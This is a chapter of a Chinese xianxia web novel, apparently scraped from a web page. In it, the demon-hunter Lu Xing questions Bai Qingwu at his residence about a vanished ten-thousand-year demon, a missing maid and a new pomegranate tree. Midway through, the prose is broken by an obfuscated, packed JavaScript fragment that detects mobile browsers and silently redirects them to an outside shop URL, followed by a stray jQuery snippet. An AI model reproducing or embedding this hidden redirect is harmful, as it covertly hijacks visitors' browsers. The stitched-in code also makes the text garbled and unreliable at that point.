紧赶慢赶,白卿芜总算是将那只在他看来并不讨喜的菌子妖安排去了小花的房间,此刻的白府四周都已设好避妖阵,碧落天神君亲自设立的阵法,就算是神官前来,也不一定能辨别出来,更何况只是个普通的凡人道士。
白卿芜对此并不担心,他在人间行走多年,多的是隐匿在凡人之中的法子,只是此时事有突然,并不打算多用法术引起什么不必要的争端。他还是喜欢比较从容的处理事情,如此匆忙,并不是他的风格。
果然,刚安排好白府一应事宜,缉妖司的陆行果真前来拜访。
听说这缉妖司的陆大人是为着今夜禁原祭礼的大事前来,季时心领神会,想着自家小殿下果真料事如神,便立即将他领进白府前厅,奉上一杯茶,转身去请了公子过来。
一路上陆大人像是没来过白府一样,对路上的花花草草都很好奇,左顾右盼每个角落都盯了个遍,季时没忍住问了一句:“大人在看什么?”陆行只是笑笑,只是问今日午后白公子可有出门?从缉妖司出来以后有没有去别的地方?季时全都一一答了,只说今日从缉妖司出来后公子心情大好,便只是在镇上随便逛了逛,后面便回府了,并没有去别的地方。
季时好奇问陆行是镇上又不太平了吗?陆行没有接话,只是从他的表情来看,似乎是对季时的回答不太满意。
正说着,白卿芜慢悠悠地来到前厅,他刚将小花的西厢房设好屏障,便和陆行在廊下会面,两人一阵寒暄,移步到了前厅。
“陆大人,”白卿芜示意季时前去奉茶,自己招呼陆行在厅里坐下,“今夜子时不是约了在曦月山会面?怎的才从辑妖司分别不过几个时辰,陆大人就又追到了白某家里?”
白卿芜噙着笑跟陆行打趣,“怕不是还有别的事情叮嘱?怎么不派个差役啥的传话,陆大人还亲自来了。”
陆行接过季时的茶,眼睛却一直盯着白卿芜,叹了口气道:“只是可惜,今夜的祭礼得取消了。”
倒是开门见山。
白卿芜抬了抬眼,语气里倒也听不出什么意外:“发生什么了?”
“不知是谁走漏了风声,赶在我们之前提前动手,打上了禁原看守的守卫不说,那个好不容易捕获的万年大妖,也不翼而飞。”陆行浅浅地抿了一口茶,说道“万年大妖”时,抬眼意味深长地看了一眼面前的白卿芜。
两人目光在空中交汇,白卿芜倒也没躲闪,听他这么说,反应倒是很惊讶,“打伤了看守?大妖也没了?”他低下头若有所思,随后一脸疑惑的问,“谁能有这么大本事啊?”
陆行等了一会儿,没等他追问,对方顺着他的话说下去,“那依公子所言,你觉得会是谁?”
“什么人能在禁原动手,又能从辑妖司手中劫走大妖……”白卿芜当真仔细思考了起来,最后得出结论,“在下不知,此人甚是有本事,想来道行应在你我之上,”
白卿芜一拍桌案,“原是这样!陆大人说的没错,这禁原果真有人搞鬼!”
陆行被这突如其来的拍桌子吓了一跳,都说白公子性格跳脱,想一出是一出的,怎得这跟人说话的动静也是一惊一乍毫无逻辑。
见陆行不解,“想来之前一直是误解了陆大人。”白卿芜解释道。
“之前还觉得大人用妖族的性命去填亡魂之怨,此举虽是古籍上记载过的,但终究没人真正做过,还担心这么做会不会过于骇人。直到现在我才知道,陆大人原是外硬心软一副七窍玲珑心,拿这万年大妖做诱饵,禁原背后捣鼓之人果不其然,露出了马脚。”
“……”陆行有点怀疑白卿芜在骂他,什么“外硬心软七窍玲珑心”,听着跟绕圈子损人似的。可他那话说的实在圆满,他翻来覆去的想了两遍,也没发现哪里不对,但若是按他这么说,这事似乎还真就跟他没什么关系。
他抬眼去看白卿芜,此人表情很是认真,一时也看不出是真心夸他,还是存心臊他。
只怕这人是在把话往回兜。想来继续追问不会有结果,反而显得他对禁原的事过度在意。陆行索性没有接这个话茬,站起来在书房里踱了几步,又将禁原的事情从头到尾过了一遍,越想越觉得不对劲,难道一开始他的方向就走错了?
这个念头冒出来,连陆行自己都吓了一跳。他从禁原得到消息后就直奔白府,也没仔细查看禁原留下来的痕迹,想来也是草率冲动了。
正乱着,余光瞥到白公子坐在那儿等着,似乎在等他说些什么,陆行张了张嘴,到底没说出什么有用的话,只胡乱应了几声,自己都觉得尴尬。
“这屋里好像有点闷,”陆行岔开话题,“上次来白府过于匆忙,白公子好像也没有带我逛逛这白府。”
说着,便放下茶杯,拉着白卿芜朝院子里走去。
白府这院子他上回来的时候也没怎么细看,草草扫过两眼,只记得府邸不大,院子里的花草倒是被照顾得很好,想是这白公子虽是男子,却心思细腻,是个爱花之人。
如今在这院里走起来,才发现这府上似乎比他想象的还要再安静些。四下里似乎也只见着白公子和他身边的侍卫,廊下无人,石阶上玉兰花瓣落了一地也没人清扫……果然,男人的心思再细腻,如此这般也显得冷冷清清。
陆行大步走在前面,余光不自觉四处扫着,只是步子虽大,速度倒不快,说是在赏这白府的景色,暗地里其实把白府上下全部打量了个遍。
白卿芜猜得出他的心思,也没阻拦,只是一路跟着,时不时的附和几句。
“白公子府上怎的这么冷清,连个人气都没有?平时就这样,还是我来了,下人们都去别处忙碌了?”陆行随口似的打听。
“陆大人又说笑,我这院子不大,哪用得了什么下人,也就几个身边人,够用就行,人多了反而不自在。”白卿芜跟他在身侧,语气不紧不慢。
乍一听是这么回事,陆行点点头,连连应着“哦是这样”,然后客气地朝白卿芜笑了笑,可突然想到不对……
今早他从缉妖司出来的时候,门口的守卫聊天分明提了一嘴,说白公子带着那位侍女天真可爱,他家应该还有一位侍女才对,怎么都在白府晃悠大半晌的功夫了,他也只见到了一名侍卫,这位侍女却始终没有露面。
院子里那株玉兰花开得实在旺盛,陆行偏过头去看,满满当当的花开得压满枝头,既然想到了,他就得问。
“对了,今早听缉妖司门口的差役们聊天,说白公子家有位貌美的小侍女,虽说有些冒昧,但我还想着见识见识这姑娘到底多美,害得我那几个手下当着差呢,魂都被勾了去,”陆行看似不经意的提,“哎,此刻怎么不在府里?可是被白公子派出去办什么差了?”
他说这话时,余光却不着痕迹的留意着白卿芜的神色。
这人果然不好糊弄。
白卿芜脚步未停,脸上却没有丝毫停顿,笑着摇摇头,“一介下人罢了,哪里值得陆大人这么关心,什么美貌不美貌的,真是折煞她,”
“那丫头不争气,昨天夜里发起烧,早上却又要硬撑着跟我出门,一来一回的颠簸,反倒更重了些,我回来后便让她回房歇着了。喝了药,刚睡下,就没让她再出来伺候。免得惊扰了我们陆大人。”
“哦?病了?”陆行心想,这么巧?
“严重吗?我家祖上倒是杏林世家,只是走到我这一脉,渐渐偏了老本行,可我这行医的手艺也还是在的。”陆行道,“白公子若是不介意我也是可以帮姑娘看看。”
一介自称拥有祖传医术的男道士,主动提出要给另一个厉害、且处于自己怀疑对象的道士的侍女看病。白卿芜面上不显,但心里却转了八百个回合,这人还一直在这提什么貌美的侍女……他那侍女貌不貌美他自己不知道?
此人殷勤至此,就算对白府存心窥探,心下生疑,他一个大男人提出要给别人的侍女看病,实在是过于荒唐!
白卿芜想都没想就拒绝了他,“那就不必了,虽说是个侍女,白府也会请镇上有名的女医师去看,不必劳烦陆大人!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628782|205252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>听着白卿芜语气不对,陆行这才猛地反应过来自己方才说了什么——人家侍女一介女子,他一个大男人,张口就要给人瞧病,这像什么话?此刻白公子心里,指不定已经把他当成那种下三滥的登徒子,专盯着人家府里的姑娘打歪主意。
陆行后槽牙一紧,恨不得把方才那句话原封不动吞回去。
他方才满脑子只想着抓白卿芜的破绽,一心只想从这侍女身上撬出点什么来,话赶话地就冲了出去,全然忘了男女有别这层忌讳。如今再一琢磨——破绽没抓着,他自己倒先露了破绽。
他张了张嘴,想解释,可话到嘴边又觉得越描越黑——人家白公子心里怎么想,那是没法儿改的了。
正窘迫间,他目光一偏,落在院角那棵石榴树上。
枝条还细,叶子嫩绿,陆行一时又犯了糊涂,他如果记得没错,上次来时这院子里好像还没这棵树啊。
最近怎么回事?都说年纪大了人才犯糊涂,想必是最近缉妖司公务太多,加上禁原的破事又过于烦心,脑子最近也不够用了。
陆行像是抓住了一根救命稻草,连忙把话头一转:“咦,白公子这院子里,什么时候多了一棵石榴树?上回我来,好像还没见着。”
他说完便朝那树走了两步,像是真心好奇,实打实的拿巴掌拍了拍石榴树的枝干,装作好像挺忙的样子,又是看这树多粗壮,又是研究这叶子怎么这么绿……想着借着这一转身,把自己方才那番失态也一并揭过去了。
那几巴掌可真是实在,给石榴树上的叶子都拍落下几片。若不是醋醋此时被定了身,扎在这土里不可动弹,他是真想落下几颗金豆子来。
陆行这话转得生硬,连他自己都觉得不像样。但好在白卿芜并没揪着不放,顺着他的目光看了一眼那棵石榴树,神色如常地点了点头:“大人好眼力,这树确实是前些日子才栽下的。原先那处空着也是空着,便寻了棵石榴来种,权当添个景致。”
陆行“哦”了一声,绕着那树走了半圈,像是真在端详它的长势。他这会儿巴不得有个话头能把方才那茬彻底盖过去,便顺势接道:“说起石榴树,倒叫我想起一桩事来——辑妖司里几个同僚,念叨了好些日子,说想在司里后院也种一棵。年前还有人问我,能不能寻个地方扦插几枝。”
他说着,停下脚步,转向白卿芜,笑得客气又随意:“今儿既然碰上了,我倒想厚着脸皮问白公子一句,可否割爱,折一根枝条给我带回去试试?若能活,也省得他们成日在我跟前磨叨。”
刚给了好几巴掌,现在又要折他的枝条??醋醋苦于作为一棵树,扎在土里无法动弹,听到陆行这么说,他真是恨不得把他土里的根给变成腿,支棱着撒腿抱着自己一树的枝叶,掉头跑掉!
好在白卿芜并没有答应他,“倒不是不舍得给大人折,只是这树买的时候,卖家便说清楚了,这石榴树开的花全是屁股尖尖的,是棵只开谎花(1)不结果的。种在院里图个好看罢了,真要拿它去扦插,怕是白费功夫。”
“而且,”白卿芜接着补充道,“你也看到了,我这白府人也少,要是真能结那么多石榴,我还得想着怎么到处送人,麻烦得很,所以特地买的这不结果的石榴树。”
他说得轻轻巧巧,像是真在闲聊一桩不打紧的家常。可陆行听着,总觉得这话里话外都透着一股子周全,周全得像早就备好了说辞,他问一句,这人堵一句,真是好没意思。
想来在这白府暂时是瞧不出什么端倪,他再这么试探下去,自己这点心思可就像破衣服下的马脚一样藏不住了。这之后可能还用的上白卿芜,禁原这事没有证据也不好发难,总这么揪着不放,回头再无端得罪了人家那就不好了。
陆行收回目光,拱了拱手:“今儿扰了白公子大半日,我也该回了。改日得空了,再来府上讨茶喝。”
白卿芜含笑还礼:“大人随时来,白某随时恭候。”
陆行前脚刚离开白府,没人看见,白府西厢房外的避妖阵小小的波动了一下。